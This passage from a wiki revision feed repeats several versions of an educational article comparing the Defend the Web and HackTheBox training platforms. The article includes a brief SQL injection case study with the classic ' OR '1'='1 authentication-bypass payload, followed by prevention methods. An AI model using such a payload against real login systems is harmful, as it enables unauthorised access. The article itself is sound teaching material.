HtB adopts a self-directed approach, encouraging users to solve problems independently. While walkthroughs are available, the platform emphasizes creativity, research, and trial-and-error learning. This makes it well-suited for experienced users.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Challenge Variety&#039;&#039;&#039;===&lt;br /&gt;
DtW focuses on web application security, with challenges covering essential topics like SQL Injection, XSS, and password encryption.&lt;br /&gt;
&lt;br /&gt;
HtB offers a broader range of challenges, including network penetration, reverse engineering, and cryptography. Its virtual labs simulate complex corporate environments, providing a comprehensive learning experience.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Difficulty Level&#039;&#039;&#039;===&lt;br /&gt;
DtW features beginner-friendly challenges with a gradual increase in complexity. In contrast, HtB is renowned for its advanced challenges, which can be overwhelming for newcomers but rewarding for seasoned professionals.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;User-Friendliness and Interface&#039;&#039;&#039;===&lt;br /&gt;
DtW excels in simplicity and user-friendliness, with an intuitive interface that makes navigation easy for inexperienced users. HtB, while visually appealing, may be daunting for beginners due to its advanced functionality.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Community and Support&#039;&#039;&#039;===&lt;br /&gt;
DtW’s community is small but supportive, fostering a welcoming environment for learners. HtB boasts a large, active community that facilitates knowledge sharing, collaboration, and competition.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Gamification and Reward System&#039;&#039;&#039;===&lt;br /&gt;
Both platforms leverage gamification to engage users. DtW uses points and badges to motivate participants, while HtB offers a more sophisticated system with leaderboards and global rankings.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Cost Structure&#039;&#039;&#039;===&lt;br /&gt;
DtW is mostly free, with optional paid features for advanced content. HtB offers a mix of free and premium content, with paid subscriptions required for advanced labs and certifications.&lt;br /&gt;
&lt;br /&gt;
== SQL-Injection: A Case Study ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection (SQLi) remains a pervasive cybersecurity threat, allowing attackers to manipulate databases by injecting malicious SQL commands. It ranks among the OWASP Top 10 vulnerabilities due to its simplicity and impact.&lt;br /&gt;
&lt;br /&gt;
=== How SQL-Injection works ===&lt;br /&gt;
&lt;br /&gt;
SQLi exploits improper input validation to alter the structure of SQL queries. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;user&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
An attacker might input:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
&#039; OR &#039;1&#039;=&#039;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This changes the query to:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;&#039; OR &#039;1&#039;=&#039;1&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The condition &#039;1&#039;=&#039;1&#039; always evaluates as true, bypassing authentication.&lt;br /&gt;
&lt;br /&gt;
=== Types of SQL-Injection ===&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;In-Band SQLi&#039;&#039;&#039;: Uses the same channel for attack and data retrieval.&lt;br /&gt;
*&#039;&#039;&#039;Blind SQLi&#039;&#039;&#039;: Infers information through application behavior or response times.&lt;br /&gt;
*&#039;&#039;&#039;Stored SQLi&#039;&#039;&#039;: Embeds malicious SQL code in the database for later execution.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Methods ===&lt;br /&gt;
&lt;br /&gt;
*Input validation and sanitization.&lt;br /&gt;
*Parameterized queries and prepared statements.&lt;br /&gt;
*Least privilege principles for database access.&lt;br /&gt;
*Web application firewalls (WAFs).&lt;br /&gt;
*Regular security audits and updates.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Defend the Web and HackTheBox offer complementary approaches to ethical hacking training. DtW provides an excellent starting point for beginners, focusing on foundational knowledge and accessibility. HtB challenges advanced users with complex scenarios and broad subject matter.&lt;br /&gt;
&lt;br /&gt;
Integrating both platforms in a learning pathway—starting with DtW and progressing to HtB—enables learners to build a robust skillset, addressing the growing demand for cybersecurity expertise in an evolving threat landscape.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://defendtheweb.net&lt;br /&gt;
* https://owasp.org/www-project-top-ten/&lt;br /&gt;
* https://www.hackthebox.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17653</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17653"/>
		<updated>2024-12-18T20:08:13Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:DefendTheWeb.png|thumb|Logo of Defend the Web&amp;lt;ref name=&amp;quot;logo2&amp;quot;/&amp;gt;]]&lt;br /&gt;
[[File:HackTheBoxLogo.png|thumb|Logo of HackTheBox&amp;lt;ref name=&amp;quot;logo&amp;quot;/&amp;gt;]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
The increasing prevalence of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;br /&gt;
&lt;br /&gt;
== Overview of the Platforms ==&lt;br /&gt;
&lt;br /&gt;
=== Defend the Web ===&lt;br /&gt;
&lt;br /&gt;
Defend the Web is an interactive learning platform designed for beginners and intermediate users. It focuses on web application security, offering challenges that cover fundamental concepts such as HTML, SQL Injection, and encryption. The platform provides a structured, step-by-step learning approach, making it an ideal starting point for those new to cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Key features of DtW include:&lt;br /&gt;
&lt;br /&gt;
*Beginner-Friendly Challenges: Covers basic to intermediate topics.&lt;br /&gt;
*Focus on Education: Emphasizes understanding vulnerabilities and implementing defenses.&lt;br /&gt;
*Community Support: Small but engaged community providing guidance.&lt;br /&gt;
&lt;br /&gt;
The platform&#039;s primary goal is to promote responsible cybersecurity practices, enabling users to secure systems and contribute to a safer internet.&lt;br /&gt;
&lt;br /&gt;
=== HackTheBox ===&lt;br /&gt;
&lt;br /&gt;
HackTheBox caters to a more advanced audience, including cybersecurity professionals and enthusiasts seeking challenging, real-world scenarios. Known for its gamified environment, HtB offers a broad range of topics, including:&lt;br /&gt;
&lt;br /&gt;
*Web exploitation&lt;br /&gt;
*Cryptography&lt;br /&gt;
*Reverse engineering&lt;br /&gt;
*Privilege escalation&lt;br /&gt;
&lt;br /&gt;
Notable features of HtB are:&lt;br /&gt;
&lt;br /&gt;
*Proving Grounds: Real-world lab simulations for enterprise-level environments.&lt;br /&gt;
*Gamification: Leaderboards, badges, and competitive challenges.&lt;br /&gt;
*Active Community: Extensive forums and Discord channels for collaboration.&lt;br /&gt;
&lt;br /&gt;
HtB also provides certifications like the HackTheBox Certified Penetration Testing Specialist (CPTS), further solidifying its role as a comprehensive training resource.&lt;br /&gt;
&lt;br /&gt;
== Comparison Criteria ==&lt;br /&gt;
&lt;br /&gt;
The following sections explore key aspects of DtW and HtB, highlighting their differences and unique contributions.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Target Audience&#039;&#039;&#039;===&lt;br /&gt;
DtW primarily serves beginners and intermediate users, providing an accessible entry point into ethical hacking. Its structured approach appeals to students and enthusiasts seeking to build foundational knowledge.&lt;br /&gt;
&lt;br /&gt;
HtB, on the other hand, targets advanced users, including penetration testers, red teamers, and cybersecurity professionals. Its challenging scenarios and broad subject matter cater to those seeking to deepen their expertise.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Learning Approach&#039;&#039;&#039;===&lt;br /&gt;
DtW offers a linear, guided learning experience. Users progress through clearly defined challenges, building their knowledge step by step. This structured approach is ideal for beginners.&lt;br /&gt;
&lt;br /&gt;
HtB adopts a self-directed approach, encouraging users to solve problems independently. While walkthroughs are available, the platform emphasizes creativity, research, and trial-and-error learning. This makes it well-suited for experienced users.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Challenge Variety&#039;&#039;&#039;===&lt;br /&gt;
DtW focuses on web application security, with challenges covering essential topics like SQL Injection, XSS, and password encryption.&lt;br /&gt;
&lt;br /&gt;
HtB offers a broader range of challenges, including network penetration, reverse engineering, and cryptography. Its virtual labs simulate complex corporate environments, providing a comprehensive learning experience.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Difficulty Level&#039;&#039;&#039;===&lt;br /&gt;
DtW features beginner-friendly challenges with a gradual increase in complexity. In contrast, HtB is renowned for its advanced challenges, which can be overwhelming for newcomers but rewarding for seasoned professionals.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;User-Friendliness and Interface&#039;&#039;&#039;===&lt;br /&gt;
DtW excels in simplicity and user-friendliness, with an intuitive interface that makes navigation easy for inexperienced users. HtB, while visually appealing, may be daunting for beginners due to its advanced functionality.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Community and Support&#039;&#039;&#039;===&lt;br /&gt;
DtW’s community is small but supportive, fostering a welcoming environment for learners. HtB boasts a large, active community that facilitates knowledge sharing, collaboration, and competition.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Gamification and Reward System&#039;&#039;&#039;===&lt;br /&gt;
Both platforms leverage gamification to engage users. DtW uses points and badges to motivate participants, while HtB offers a more sophisticated system with leaderboards and global rankings.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Cost Structure&#039;&#039;&#039;===&lt;br /&gt;
DtW is mostly free, with optional paid features for advanced content. HtB offers a mix of free and premium content, with paid subscriptions required for advanced labs and certifications.&lt;br /&gt;
&lt;br /&gt;
== SQL-Injection: A Case Study ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection (SQLi) remains a pervasive cybersecurity threat, allowing attackers to manipulate databases by injecting malicious SQL commands. It ranks among the OWASP Top 10 vulnerabilities due to its simplicity and impact.&lt;br /&gt;
&lt;br /&gt;
=== How SQL-Injection works ===&lt;br /&gt;
&lt;br /&gt;
SQLi exploits improper input validation to alter the structure of SQL queries. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;user&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
An attacker might input:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
&#039; OR &#039;1&#039;=&#039;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This changes the query to:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;&#039; OR &#039;1&#039;=&#039;1&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The condition &#039;1&#039;=&#039;1&#039; always evaluates as true, bypassing authentication.&lt;br /&gt;
&lt;br /&gt;
=== Types of SQL-Injection ===&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;In-Band SQLi&#039;&#039;&#039;: Uses the same channel for attack and data retrieval.&lt;br /&gt;
*&#039;&#039;&#039;Blind SQLi&#039;&#039;&#039;: Infers information through application behavior or response times.&lt;br /&gt;
*&#039;&#039;&#039;Stored SQLi&#039;&#039;&#039;: Embeds malicious SQL code in the database for later execution.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Methods ===&lt;br /&gt;
&lt;br /&gt;
*Input validation and sanitization.&lt;br /&gt;
*Parameterized queries and prepared statements.&lt;br /&gt;
*Least privilege principles for database access.&lt;br /&gt;
*Web application firewalls (WAFs).&lt;br /&gt;
*Regular security audits and updates.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Defend the Web and HackTheBox offer complementary approaches to ethical hacking training. DtW provides an excellent starting point for beginners, focusing on foundational knowledge and accessibility. HtB challenges advanced users with complex scenarios and broad subject matter.&lt;br /&gt;
&lt;br /&gt;
Integrating both platforms in a learning pathway—starting with DtW and progressing to HtB—enables learners to build a robust skillset, addressing the growing demand for cybersecurity expertise in an evolving threat landscape.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://defendtheweb.net&lt;br /&gt;
* https://owasp.org/www-project-top-ten/&lt;br /&gt;
* https://www.hackthebox.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17650</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17650"/>
		<updated>2024-12-18T20:06:54Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:DefendTheWeb.png|thumb|Logo of Defend the Web&amp;lt;ref name=&amp;quot;logo2&amp;quot;/&amp;gt;]]&lt;br /&gt;
[[File:HackTheBoxLogo.png|thumb|Logo of HackTheBox&amp;lt;ref name=&amp;quot;logo&amp;quot;/&amp;gt;]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
The increasing prevalence of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;br /&gt;
&lt;br /&gt;
== Overview of the Platforms ==&lt;br /&gt;
&lt;br /&gt;
=== Defend the Web ===&lt;br /&gt;
&lt;br /&gt;
Defend the Web is an interactive learning platform designed for beginners and intermediate users. It focuses on web application security, offering challenges that cover fundamental concepts such as HTML, SQL Injection, and encryption. The platform provides a structured, step-by-step learning approach, making it an ideal starting point for those new to cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Key features of DtW include:&lt;br /&gt;
&lt;br /&gt;
*Beginner-Friendly Challenges: Covers basic to intermediate topics.&lt;br /&gt;
*Focus on Education: Emphasizes understanding vulnerabilities and implementing defenses.&lt;br /&gt;
*Community Support: Small but engaged community providing guidance.&lt;br /&gt;
&lt;br /&gt;
The platform&#039;s primary goal is to promote responsible cybersecurity practices, enabling users to secure systems and contribute to a safer internet.&lt;br /&gt;
&lt;br /&gt;
=== HackTheBox ===&lt;br /&gt;
&lt;br /&gt;
HackTheBox caters to a more advanced audience, including cybersecurity professionals and enthusiasts seeking challenging, real-world scenarios. Known for its gamified environment, HtB offers a broad range of topics, including:&lt;br /&gt;
&lt;br /&gt;
*Web exploitation&lt;br /&gt;
*Cryptography&lt;br /&gt;
*Reverse engineering&lt;br /&gt;
*Privilege escalation&lt;br /&gt;
&lt;br /&gt;
Notable features of HtB are:&lt;br /&gt;
&lt;br /&gt;
*Proving Grounds: Real-world lab simulations for enterprise-level environments.&lt;br /&gt;
*Gamification: Leaderboards, badges, and competitive challenges.&lt;br /&gt;
*Active Community: Extensive forums and Discord channels for collaboration.&lt;br /&gt;
&lt;br /&gt;
HtB also provides certifications like the HackTheBox Certified Penetration Testing Specialist (CPTS), further solidifying its role as a comprehensive training resource.&lt;br /&gt;
&lt;br /&gt;
== Comparison Criteria ==&lt;br /&gt;
&lt;br /&gt;
The following sections explore key aspects of DtW and HtB, highlighting their differences and unique contributions.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Target Audience&#039;&#039;&#039;===&lt;br /&gt;
DtW primarily serves beginners and intermediate users, providing an accessible entry point into ethical hacking. Its structured approach appeals to students and enthusiasts seeking to build foundational knowledge.&lt;br /&gt;
&lt;br /&gt;
HtB, on the other hand, targets advanced users, including penetration testers, red teamers, and cybersecurity professionals. Its challenging scenarios and broad subject matter cater to those seeking to deepen their expertise.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Learning Approach&#039;&#039;&#039;===&lt;br /&gt;
DtW offers a linear, guided learning experience. Users progress through clearly defined challenges, building their knowledge step by step. This structured approach is ideal for beginners.&lt;br /&gt;
&lt;br /&gt;
HtB adopts a self-directed approach, encouraging users to solve problems independently. While walkthroughs are available, the platform emphasizes creativity, research, and trial-and-error learning. This makes it well-suited for experienced users.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Challenge Variety&#039;&#039;&#039;===&lt;br /&gt;
DtW focuses on web application security, with challenges covering essential topics like SQL Injection, XSS, and password encryption.&lt;br /&gt;
&lt;br /&gt;
HtB offers a broader range of challenges, including network penetration, reverse engineering, and cryptography. Its virtual labs simulate complex corporate environments, providing a comprehensive learning experience.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Difficulty Level&#039;&#039;&#039;===&lt;br /&gt;
DtW features beginner-friendly challenges with a gradual increase in complexity. In contrast, HtB is renowned for its advanced challenges, which can be overwhelming for newcomers but rewarding for seasoned professionals.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;User-Friendliness and Interface&#039;&#039;&#039;===&lt;br /&gt;
DtW excels in simplicity and user-friendliness, with an intuitive interface that makes navigation easy for inexperienced users. HtB, while visually appealing, may be daunting for beginners due to its advanced functionality.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Community and Support&#039;&#039;&#039;===&lt;br /&gt;
DtW’s community is small but supportive, fostering a welcoming environment for learners. HtB boasts a large, active community that facilitates knowledge sharing, collaboration, and competition.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Gamification and Reward System&#039;&#039;&#039;===&lt;br /&gt;
Both platforms leverage gamification to engage users. DtW uses points and badges to motivate participants, while HtB offers a more sophisticated system with leaderboards and global rankings.&lt;br /&gt;
&lt;br /&gt;
===&#039;&#039;&#039;Cost Structure&#039;&#039;&#039;===&lt;br /&gt;
DtW is mostly free, with optional paid features for advanced content. HtB offers a mix of free and premium content, with paid subscriptions required for advanced labs and certifications.&lt;br /&gt;
&lt;br /&gt;
== SQL-Injection: A Case Study ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection (SQLi) remains a pervasive cybersecurity threat, allowing attackers to manipulate databases by injecting malicious SQL commands. It ranks among the OWASP Top 10 vulnerabilities due to its simplicity and impact.&lt;br /&gt;
&lt;br /&gt;
=== How SQL-Injection works ===&lt;br /&gt;
&lt;br /&gt;
SQLi exploits improper input validation to alter the structure of SQL queries. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;user&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
An attacker might input:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
&#039; OR &#039;1&#039;=&#039;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This changes the query to:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;SQL&amp;quot;&amp;gt;&lt;br /&gt;
SELECT * FROM users WHERE username = &#039;&#039; OR &#039;1&#039;=&#039;1&#039; AND password = &#039;password&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The condition &#039;1&#039;=&#039;1&#039; always evaluates as true, bypassing authentication.&lt;br /&gt;
&lt;br /&gt;
=== Types of SQL-Injection ===&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;In-Band SQLi&#039;&#039;&#039;: Uses the same channel for attack and data retrieval.&lt;br /&gt;
*&#039;&#039;&#039;Blind SQLi&#039;&#039;&#039;: Infers information through application behavior or response times.&lt;br /&gt;
*&#039;&#039;&#039;Stored SQLi&#039;&#039;&#039;: Embeds malicious SQL code in the database for later execution.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Methods ===&lt;br /&gt;
&lt;br /&gt;
*Input validation and sanitization.&lt;br /&gt;
*Parameterized queries and prepared statements.&lt;br /&gt;
*Least privilege principles for database access.&lt;br /&gt;
*Web application firewalls (WAFs).&lt;br /&gt;
*Regular security audits and updates.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Defend the Web and HackTheBox offer complementary approaches to ethical hacking training. DtW provides an excellent starting point for beginners, focusing on foundational knowledge and accessibility. HtB challenges advanced users with complex scenarios and broad subject matter.&lt;br /&gt;
&lt;br /&gt;
Integrating both platforms in a learning pathway—starting with DtW and progressing to HtB—enables learners to build a robust skillset, addressing the growing demand for cybersecurity expertise in an evolving threat landscape.&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:DefendTheWeb.png&amp;diff=17648</id>
		<title>File:DefendTheWeb.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:DefendTheWeb.png&amp;diff=17648"/>
		<updated>2024-12-18T20:03:55Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17640</id>
		<title>Defend the Web vs. HackTheBox</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_the_Web_vs._HackTheBox&amp;diff=17640"/>
		<updated>2024-12-18T19:50:01Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
The increasing prevalence of cyberattacks in today&#039;s interconnected world highlights the urgent need for skilled cybersecurity professionals. With data breaches, ransomware, and other cybercrimes on the rise, organizations must prioritize robust security measures. Ethical hacking, or white-hat hacking, has become a cornerstone of modern cybersecurity, empowering professionals to identify and mitigate vulnerabilities before they are exploited by malicious actors.&lt;br /&gt;
&lt;br /&gt;
Platforms like Defend the Web (DtW) and HackTheBox (HtB) have gained prominence as practical training tools in cybersecurity. These platforms simulate real-world attack scenarios, offering users the opportunity to hone their skills in a controlled environment. While both platforms aim to enhance cybersecurity expertise, they differ in approach, focus, and target audience. This article provides a comprehensive analysis of DtW and HtB, examining their unique features and contributions to the field of ethical hacking.&lt;br /&gt;
&lt;br /&gt;
== Background Information ==&lt;br /&gt;
&lt;br /&gt;
=== Webapplication Security ===&lt;br /&gt;
&lt;br /&gt;
Web applications are integral to modern businesses, enabling e-commerce, online banking, and enterprise collaboration. However, their widespread use makes them prime targets for cyberattacks. Common vulnerabilities such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF) pose significant threats to sensitive data and system integrity.&lt;br /&gt;
&lt;br /&gt;
Ethical hacking platforms like DtW and HtB play a crucial role in strengthening web application security. By providing hands-on training in identifying and mitigating vulnerabilities, these platforms bridge the gap between theoretical knowledge and practical application.&lt;br /&gt;
&lt;br /&gt;
=== Penetration Testing ===&lt;br /&gt;
&lt;br /&gt;
Penetration testing, or pentesting, is a methodology for assessing system security by simulating real-world attacks. It involves identifying vulnerabilities, evaluating their potential impact, and recommending corrective actions. Key principles of web application security include:&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Authentication&#039;&#039;&#039;: Verifying user identities.&lt;br /&gt;
*&#039;&#039;&#039;Authorization&#039;&#039;&#039;: Managing user permissions.&lt;br /&gt;
*&#039;&#039;&#039;Confidentiality, Integrity, and Availability (CIA Triad)&#039;&#039;&#039;: Ensuring data protection, accuracy, and accessibility.&lt;br /&gt;
&lt;br /&gt;
These principles are foundational to ethical hacking and are actively explored in DtW and HtB.&lt;br /&gt;
&lt;br /&gt;
== Overview of the Platforms ==&lt;br /&gt;
&lt;br /&gt;
=== Defend the Web ===&lt;br /&gt;
&lt;br /&gt;
Defend the Web is an interactive learning platform designed for beginners and intermediate users. It focuses on web application security, offering challenges that cover fundamental concepts such as HTML, SQL Injection, and encryption. The platform provides a structured, step-by-step learning approach, making it an ideal starting point for those new to cybersecurity.&lt;br /&gt;
&lt;br /&gt;
Key features of DtW include:&lt;br /&gt;
&lt;br /&gt;
*Beginner-Friendly Challenges: Covers basic to intermediate topics.&lt;br /&gt;
*Focus on Education: Emphasizes understanding vulnerabilities and implementing defenses.&lt;br /&gt;
*Community Support: Small but engaged community providing guidance.&lt;br /&gt;
&lt;br /&gt;
The platform&#039;s primary goal is to promote responsible cybersecurity practices, enabling users to secure systems and contribute to a safer internet.&lt;br /&gt;
&lt;br /&gt;
=== HackTheBox ===&lt;br /&gt;
&lt;br /&gt;
HackTheBox caters to a more advanced audience, including cybersecurity professionals and enthusiasts seeking challenging, real-world scenarios. Known for its gamified environment, HtB offers a broad range of topics, including:&lt;br /&gt;
